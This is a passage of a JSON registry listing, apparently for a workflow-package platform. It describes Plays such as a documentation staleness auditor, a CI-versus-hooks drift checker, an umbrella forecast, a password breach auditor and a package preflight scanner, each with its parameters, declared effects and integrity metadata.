audit."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:65ea72360eee90298559349546365b840ba98018f7f29a38e0b47691d2a1e219","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":1,"shell":5,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/stale-documentation-detector@0.23.23","reference":"sakshamsai26/stale-documentation-detector@0.23.23","uri":"https://play.modiqo.ai/sakshamsai26/stale-documentation-detector@0.23.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/stale-documentation-detector@0.23.23","name":"stale-documentation-detector","title":"stale-documentation-detector","description":"Find documentation references that no longer match a repository, write the bounded audit result as a new artifact, and optionally create a GitHub issue containing it. It never edits project docs, overwrites files, or contacts any service except the explicitly enabled GitHub issue action.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","documentation","repository-hygiene","artifact-authoring","github-issues","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.23","published_at":"2026-09-05T11:51:37.46476+00:00","visibility":"public","quality_score":1,"size_bytes":4450,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":4,"names":["audit","auth_github","create_issue","write_fix_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. Supply a repository with README or docs when possible; missing evidence is reported as UNKNOWN or PARTIAL."},{"name":"output_dir","type":"string","required":true,"description":"Absolute directory for the newly written documentation-fix-plan.json artifact. Existing artifacts are never overwritten."},{"name":"github_owner","type":"string","required":false,"default":"","description":"GitHub repository owner, required only when publish_issue is true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"GitHub repository name, required only when publish_issue is true."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the generated plan. Defaults to false."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:3d0b4da9b833a882bde54773ff44896f4a2aa4da9a3e7660f799ba65ee77cd66","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/lgoyal6/hooks-vs-ci@0.5.2","reference":"lgoyal6/hooks-vs-ci@0.5.2","uri":"https://play.modiqo.ai/lgoyal6/hooks-vs-ci@0.5.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/hooks-vs-ci@0.5.2","name":"hooks-vs-ci","title":"hooks-vs-ci","description":"Finds where the checks on your machine and the checks in CI have drifted apart, which is why a green local commit fails in CI and why a green CI run misses what a hook would have caught. Compares active git hooks, husky, lefthook and .pre-commit-config.yaml against what the workflows actually invoke, normalising on the resolved tool so npm run lint, npm-run-all lint and eslint . count as one check rather than three. Reports checks CI runs that no local hook runs, checks a local hook runs that CI never enforces, tool and runtime version differences between the two, and configured hooks whose tool is not installed here. Ignores .sample hooks because git never executes them, and separates per-commit gates from workflows that only fire on a schedule or a button. Read-only, no network, no CI credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-ci-parity-audit","tool-git-hooks","tool-github-actions","tool-pre-commit","effect-read-only","ci-parity","git-hooks","husky","lefthook","pre-commit","local-vs-ci","green-locally-red-in-ci","check-drift","tool-version-drift","missing-hook","uninstalled-tool","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.2","published_at":"2026-09-05T06:37:06.18729+00:00","visibility":"public","quality_score":1,"size_bytes":38036,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":5,"names":["ci","repo","hooks","probe","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Path to the git repository to audit","example":"/Users/you/your-repo"},{"name":"max_rows","type":"integer","required":false,"default":20,"description":"Rows to print per report section before summarising the remainder","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:134dc6ce03a8d85872fa13d936e6f9eb417a6dc36094ee4aa2d198e36403e36f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4},{"name":"git","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/jaylabs/umbrella-check@0.1.6","reference":"jaylabs/umbrella-check@0.1.6","uri":"https://play.modiqo.ai/jaylabs/umbrella-check@0.1.6","manifest_uri":"https://play.modiqo.ai/jaylabs/umbrella-check@0.1.6","name":"umbrella-check","title":"umbrella-check","description":"People in Bangalore never know when they need an umbrella. This looks at the next three hours instead of the whole day, which is the question you have at 8am on the doorstep and at 4pm before you leave. It finds you from your IP, reads the hourly rain probability there, and gives one of four verdicts. Take it, pocket a small one, probably fine, go free. Supply coordinates and it skips the location lookup entirely, so nothing is sent to a geolocation service at all. Two public GET APIs, no key and no account. The first run on the machine that built it cost 3,946 tokens. It reads and nothing else.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["domain-personal-productivity","job-weather-check","audience-commuters","effect-read-only","tool-open-meteo","tool-ipapi","umbrella","do-i-need-an-umbrella","rain","will-it-rain","chance-of-rain","precipitation","weather","weather-forecast","forecast","hourly","hourly-forecast","rain-forecast","temperature","commute","daily","morning","evening","today","monsoon","location","geolocation","ip-address","open-meteo","no-auth","no-api-key","free","read-only","api","typescript","bangalore"],"primary_domain":"domain-personal-productivity","author":"jayanth","version":"0.1.6","published_at":"2026-09-04T17:07:21.905918+00:00","visibility":"public","quality_score":1,"size_bytes":7539,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":3,"names":["locate","forecast_pinned","forecast_from_ip"]},"parameters":[{"name":"hours","type":"integer","required":false,"default":"3","description":"How many hours ahead to look, counting from the hour open-meteo reports as current. Whole number from 1 to 24; anything outside that range stops the run with an error. Defaults to 3, about the length of a commute.","example":"3"},{"name":"latitude","type":"string","required":false,"default":"","description":"Latitude to read the forecast for, as a decimal between -90 and 90, used instead of the IP lookup. Set it when your IP resolves to the wrong city, a VPN exit for instance. Left empty, the run uses the coordinates ipapi returns.","example":"12.9716"},{"name":"longitude","type":"string","required":false,"default":"","description":"Longitude to pair with latitude, as a decimal between -180 and 180. Required whenever latitude is set, and ignored when it is not.","example":"77.5946"}],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"jaylabs/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b20bf501b0234323af02d6bf4bf7345a3761c081623c306055fb570c2e88403","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":3,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[{"adapter":"open-meteo","steps":2,"methods":["get_v1_forecast"],"display_name":"Open-Meteo Weather Forecast","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2YgsU84PjXRHyP7ALsx5a5QE2FBy","source":"jaylabs/open-meteo","version":"1.0.1","protocol":null,"credentials":[]},{"adapter":"ipapi","steps":1,"methods":["locateCallerIp"],"display_name":"ipapi.co IP Geolocation","host":"ipapi.co","kind":"rest","tools":2,"fingerprint":"mcp_2b1dUfnhjNT8uVnKDymTZ87oUZra","source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":2,"tools":3},"cost":{"api_tokens":3946,"context_tokens":629,"exploration_ms":1842,"saved_per_run":null},"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/amanm006/training-health-check@1.1.2","reference":"amanm006/training-health-check@1.1.2","uri":"https://play.modiqo.ai/amanm006/training-health-check@1.1.2","manifest_uri":"https://play.modiqo.ai/amanm006/training-health-check@1.1.2","name":"training-health-check","title":"training-health-check","description":"Run a deterministic training health checker against plain-text and W&B offline logs and compare their verdicts.","owner":{"kind":"org","slug":"amanm006"},"registry_organization":"amanm006","tags":[],"primary_domain":"domain-uncategorized","author":"amanm006","version":"1.1.2","published_at":"2026-09-04T10:12:20.140181+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":9449,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":3,"names":["plain_check","wandb_check","compare_verdicts"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:46e75e2170ddbd45b43bb837e5778f9494642cac2c89b74d7c1391fb1bc4a497","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"diff","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/anvit/dev-storage-reclaimer@0.4.0","reference":"anvit/dev-storage-reclaimer@0.4.0","uri":"https://play.modiqo.ai/anvit/dev-storage-reclaimer@0.4.0","manifest_uri":"https://play.modiqo.ai/anvit/dev-storage-reclaimer@0.4.0","name":"dev-storage-reclaimer","title":"dev-storage-reclaimer","description":"Audits dormant local developer projects and ranks reclaimable dependency and cache space.","owner":{"kind":"user","slug":"anvit"},"registry_organization":"anvit","tags":["developer-tools","storage","cleanup","node","rust","python"],"primary_domain":"domain-uncategorized","author":"anvit","version":"0.4.0","published_at":"2026-09-04T07:19:19.719668+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7604,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":3,"names":["discover_projects","inspect_reclaimable","render_markdown_report"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path to the projects directory to scan. Required unless demo=true. Must point to an existing directory."},{"name":"stale_days","type":"integer","required":false,"default":30,"description":"Dormancy threshold in days. Must be an integer from 1 to 3650."},{"name":"demo","type":"boolean","required":false,"default":false,"description":"When true, create and scan a temporary mock project tree with simulated stale dates instead of scanning real projects."},{"name":"dry_run","type":"boolean","required":false,"default":true,"description":"Safety gate. true keeps the workflow read-only; this audit workflow never deletes files unless a future cleanup step is explicitly added and dry_run=false is supplied."},{"name":"include_docker","type":"boolean","required":false,"default":true,"description":"When true, check Docker builder cache with docker system df if the docker CLI is available."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:be54d1c1b7ecc35cf5e6ede05bef8d3c6ba7bace4adedf3f0ab1ee89faf9d594","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/harshitborana75/password-breach-check@0.1.0","reference":"harshitborana75/password-breach-check@0.1.0","uri":"https://play.modiqo.ai/harshitborana75/password-breach-check@0.1.0","manifest_uri":"https://play.modiqo.ai/harshitborana75/password-breach-check@0.1.0","name":"password-breach-check","title":"password-breach-check","description":"Zero-Knowledge Password Security Auditor (v0.1.0): Evaluates breach status (HIBP k-anonymity), zxcvbn entropy & crack times, local credential reuse, deterministic risk scores (0-100), CI/CD scan gates, and remediation plans. Supports key=value, CSV, JSON, or file input formats. Raw passwords are NEVER logged, stored, or transmitted.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","passwords","security","auditor","hibp","breaches","k-anonymity","privacy","entropy","crack-time","reuse-detection","risk-score","ci-cd","csv"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.1.0","published_at":"2026-09-03T16:53:45.168985+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8686,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":1,"names":["check_pwned"]},"parameters":[{"name":"passwords","type":"string","required":false,"description":"Passwords or label=password pairs e.g. Gmail=pass123, GitHub=MyPass2026!"},{"name":"labels","type":"string","required":false,"description":"Optional comma-separated custom labels for checked passwords"},{"name":"file","type":"string","required":false,"description":"Optional file path to credentials file (e.g. creds.env or passwords.txt)"},{"name":"format","type":"string","required":false,"default":"human","description":"Output format (human/json/csv)"},{"name":"fail_on_risk","type":"string","required":false,"description":"CI/CD failure risk threshold (0-100). Fails scan if average risk score reaches or exceeds threshold."},{"name":"fail_on_breach","type":"string","required":false,"default":"false","description":"CI/CD failure on breach flag (true/false). Fails scan if any breached password is detected."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:106c5dd6d10073137fb216e6946b989fc0f32d2c1d825d379d66b887b020d677","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/chaitanyagidwani/repo-onboarding-brief@0.2.0","reference":"chaitanyagidwani/repo-onboarding-brief@0.2.0","uri":"https://play.modiqo.ai/chaitanyagidwani/repo-onboarding-brief@0.2.0","manifest_uri":"https://play.modiqo.ai/chaitanyagidwani/repo-onboarding-brief@0.2.0","name":"repo-onboarding-brief","title":"repo-onboarding-brief","description":"Read a repository and emit a six-section onboarding brief (WHAT THIS IS, SETUP, VERIFY, THE REAL COMMANDS, ENTRY POINTS, TRAPS) with file:line evidence. Read-only: never runs the target repo's own toolchain.","owner":{"kind":"user","slug":"chaitanyagidwani"},"registry_organization":"chaitanyagidwani","tags":[],"primary_domain":"domain-uncategorized","author":"chaitanyagidwani","version":"0.2.0","published_at":"2026-09-03T07:18:03.0411+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6520,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":11,"names":["inventory_ci","probe_toolchain","detect_ecosystem","read_secondary_ci","probe_setup_ladder","read_verify_target","locate_entry_points","read_runner_scripts","read_manifest_anchors","read_lockfile_presence","read_ci_setup_and_gates"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the repository checkout to read."},{"name":"primary_ci_workflow","type":"string","required":false,"default":".github/workflows/test.yml","description":"Repo-relative CI file that SETUP and the VERIFY wiring check are sourced from (priority-1 rung of the SETUP ladder)."},{"name":"secondary_ci_workflows","type":"string","required":false,"default":".github/workflows","description":"Repo-relative directory holding the remaining CI configs, read for lint and docs install lines."},{"name":"manifest_file","type":"string","required":false,"default":"pyproject.toml","description":"Repo-relative manifest. The manifest names the ecosystem; detect_ecosystem reports what is actually present so a caller can correct this."},{"name":"lockfile","type":"string","required":false,"default":"uv.lock","description":"Repo-relative lockfile. The lockfile names the tool."},{"name":"verify_target","type":"string","required":false,"default":"","description":"Repo-relative test file for the VERIFY step-2 wiring check. Empty means the wiring check renders as not determinable."},{"name":"manifest_anchors","type":"string","required":false,"default":"^name = |^build-backend|^requires-python|^\\[project\\.scripts\\]|^\\[tool\\.pytest\\]|^minversion|^filterwarnings|^timeout = |error-on-warning|^version = \\{ source|^\\[dependency-groups\\]","description":"ERE matching the manifest lines the brief cites. Defaults target pyproject/uv; override per ecosystem."},{"name":"ci_anchors","type":"string","required":false,"default":"run: |install|sync|test|coverage|fail-under|python-version","description":"ERE matching the CI lines that carry install commands, run commands and gates."},{"name":"entry_point_files","type":"string","required":false,"default":"","description":"Space-separated repo-relative files searched for entry-point definitions. Empty means the stage renders as not determinable."},{"name":"entry_point_anchors","type":"string","required":false,"default":"^__version__|^__all__|^class |^def main|^app = |^func main|^module\\.exports|^export default","description":"ERE matching entry-point definitions across common languages."},{"name":"runner_scripts_dir","type":"string","required":false,"default":"scripts","description":"Repo-relative directory of runner scripts read verbatim with line numbers."},{"name":"toolchain_probe","type":"string","required":false,"default":"uv python3 node cargo go","description":"Space-separated executables probed for --version. Absent tools degrade to available:false, never a failure."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bd082ca43396ac3c589b72398af3d10060c44d1668c0a1207c9fe9442ac69263","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":7,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":11},{"name":"SETUP","kind":"tool","source":"inferred","count":2},{"name":"ENTRY","kind":"tool","source":"inferred","count":1},{"name":"tool","kind":"tool","source":"inferred","count":1},{"name":"VERIFY","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/preflight/play-preflight@0.3.3","reference":"preflight/play-preflight@0.3.3","uri":"https://play.modiqo.ai/preflight/play-preflight@0.3.3","manifest_uri":"https://play.modiqo.ai/preflight/play-preflight@0.3.3","name":"play-preflight","title":"play-preflight","description":"We preflighted all 161 public Plays in the registry. Every one returns a contract rote marks not fully resolved, and every one reports write_permissions as an empty list. An empty list reads like a guarantee. It only means nobody asked.\nPreflight tells you what a Play will carry, require and attempt before you grant it process access. It reads rote's own contract via play inspect --json, rehearses the run with rote's non-executing resolver via play run --dry-run, and scans the package itself for captured secrets, hardcoded author paths, and symlinks that escape it. It never executes the target Play, and it does not reimplement rote's contract logic. It asks rote.\nRun it with no arguments to watch it catch a bundled compromised sample, then point it at anything you are about to trust. Full registry findings ship in the package as REPORT.md.\nEffect disclosure: rote owns its own installation, workspace and backup behaviour, and running any Play may create rote run workspaces, logs and artifacts. With fetch=true this Play additionally asks rote to download a package, which may create package, lock and backup entries under ~/.rote/flows. It passes --no-deps, so no dependency is installed. With fetch=false Preflight does not invoke rote registry play pull at all. Rote has no frontmatter field for a filesystem effect, so none of this can appear in write_permissions, which records adapter mutations only.","owner":{"kind":"org","slug":"preflight"},"registry_organization":"preflight","tags":["typescript","diagnostics","review","publishing"],"primary_domain":"domain-uncategorized","author":"preflight","version":"0.3.3","published_at":"2026-09-02T09:16:04.410378+00:00","visibility":"public","quality_score":1,"size_bytes":23841,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":1,"names":["preflight"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"A local Play path, or an owner/name registry reference. The default, the literal word sample, preflights a deliberately defective Play bundled in this package, so a zero-argument run shows you what a finding looks like before you point this at your own work.","example":"modiqo/hello"},{"name":"fetch","type":"boolean","required":false,"default":false,"description":"Download the Play from the registry before checking it, so the real package is read instead of only its manifest. This is the half of rote play run that does not execute anything: it puts the Play on your disk and stops. That download is a write. Rote may create package, lock and backup entries under ~/.rote/flows; rote owns that behaviour, not this Play. --no-deps is passed, so no dependency is installed. With fetch=false rote registry play pull is not invoked, though rote may still create its normal run workspaces, logs and artifacts as it does for any Play. A download is only attempted when this owner and name are absent locally and the reference names the current version: rote cannot download a pinned historical version, and an existing installation is yours to manage, not this Play's to replace. Only a package downloaded during this run can be given a verdict about the published artifact. A copy already on disk is still scanned, and its findings still stand, but the published-artifact claim is withheld and the result is incomplete."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9dcaa7904de935a73cc9ac8bb756813350c6b0310e7c2f1aa4d6830f273e8e06","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/leak-check-fr@4.15.26","reference":"ankurrawat/leak-check-fr@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/leak-check-fr@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/leak-check-fr@4.15.26","name":"leak-check-fr","title":"leak-check-fr","description":"Security & Governance Sentinel for leak-check-fr: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","leak","check","developer-tools","automation"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:44.258861+00:00","visibility":"public","quality_score":1,"size_bytes":515389,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dcc760ffec37ea16ebb2f28948cb996cd4f39b5205a77304077de86b34cc8b91","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/100-million-request-scaling@4.16.26","reference":"ankurrawat/100-million-request-scaling@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/100-million-request-scaling@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/100-million-request-scaling@4.16.26","name":"100-million-request-scaling","title":"100-million-request-scaling","description":"You are preparing for a massive traffic surge and need to know where your architecture will buckle. This runs automated concurrency stress simulations across connection pools, measures p99 latency SLA percentiles, and detects database starvation bottlenecks before your users do.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:41:59.022147+00:00","visibility":"public","quality_score":1,"size_bytes":525094,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9e24ddfb0f0436fd746595522fb2b95b407b532666359dc87eb9f76d51c59278","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/port-ghost-buster@4.16.26","reference":"ankurrawat/port-ghost-buster@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/port-ghost-buster@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/port-ghost-buster@4.16.26","name":"port-ghost-buster","title":"port-ghost-buster","description":"You run npm run dev or vite and hit Error: listen EADDRINUSE: address already in use :::3000. This instantly identifies which zombie Node, Python, Docker, or rogue background process is squatting on your port, prints its PID and memory footprint, and gracefully terminates it in under two seconds. Zero manual lsof -i :3000 or kill -9 hunting.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","port","networking","developer-tools","troubleshooting"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:37:55.821338+00:00","visibility":"public","quality_score":1,"size_bytes":513994,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":6,"names":["step_2_parallel_port_probe","step_1_scan_developer_ports","step_3_identify_zombie_pids","step_5_verify_socket_release","step_6_emit_developer_report","step_4_signal_process_termination"]},"parameters":[{"name":"scan_ports","type":"string","required":false,"default":"3000,4200,5000,8080","description":"Comma-separated list of ports to scan and free"},{"name":"auto_kill","type":"boolean","required":false,"default":false,"description":"Whether to kill detected ghost processes 